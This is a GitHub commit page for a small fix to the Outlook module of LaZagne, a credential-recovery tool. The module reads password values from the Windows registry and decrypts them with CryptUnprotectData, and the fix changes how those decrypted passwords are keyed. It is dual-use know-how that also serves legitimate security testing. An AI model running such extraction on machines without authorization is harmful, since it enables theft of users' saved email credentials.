Skip to content

Commit

Permalink
Merge pull request AlessandroZ#102 from jboss38/patch-1
Browse files Browse the repository at this point in the history
Fix Outlook scan
  • Loading branch information
AlessandroZ authored Jan 16, 2017
2 parents fd2d194 + 36567c1 commit 6e238e3
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions Windows/lazagne/softwares/mails/outlook.py
Original file line number Diff line number Diff line change
Expand Up @@ -48,10 +48,10 @@ def retrieve_info(self, hkey, name_key):
if 'password' in k[0].lower():
try:
password = win32crypt.CryptUnprotectData(k[1][1:], None, None, None, 0)[1]
values['Password'] = password.decode('utf16')
values[k[0]] = password.decode('utf16')
except Exception,e:
print_debug('DEBUG', '{0}'.format(e))
values['Password'] = 'N/A'
values[k[0]] = 'N/A'
else:
try:
values[k[0]] = str(k[1]).decode('utf16')
Expand Down

0 comments on commit 6e238e3

Please sign in to comment.